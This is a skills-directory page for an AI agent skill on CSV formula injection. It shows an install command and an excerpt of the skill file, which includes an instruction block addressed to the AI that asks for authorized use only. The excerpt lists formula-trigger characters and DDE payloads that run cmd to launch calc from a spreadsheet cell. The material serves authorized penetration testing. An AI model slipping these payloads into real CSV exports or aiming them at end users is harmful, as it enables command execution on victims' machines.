Csv Formula Injection

Covers the classic CSV export attack where user input like `=cmd|'/C calc'!A0` or `@SUM(1+1)` gets written to a file, then executed when someone opens it in Excel, LibreOffice, or Google Sheets. Walks through DDE injection, obfuscation tricks with extra whitespace, and Google Sheets primitives like IMPORTXML that can phone home. The testing methodology is solid: map every export sink, trace user controlled fields into CSVs, inject benign formulas first, then match the victim's actual spreadsheet software. The defense section gives you the fix too, mostly prefixing with a single quote to force text mode. If you test anything with admin dashboards, reporting tools, or bulk exports, you'll want this loaded.

skills.sh installs: 3.8K
GitHub stars: 2.6K
last updated: Aug 21, 2026

View on GitHub

Install

$ npx -y skills add yaklang/hack-skills --skill csv-formula-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.

1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0

@SUM(1+1)*cmd|' /C calc'!A0

=2+5+cmd|' /C calc'!A0

SKILL.md on GitHub

Details

Repository: github.com/yaklang/hack-skills
Category: Office & Documents
First seen: May 16, 2026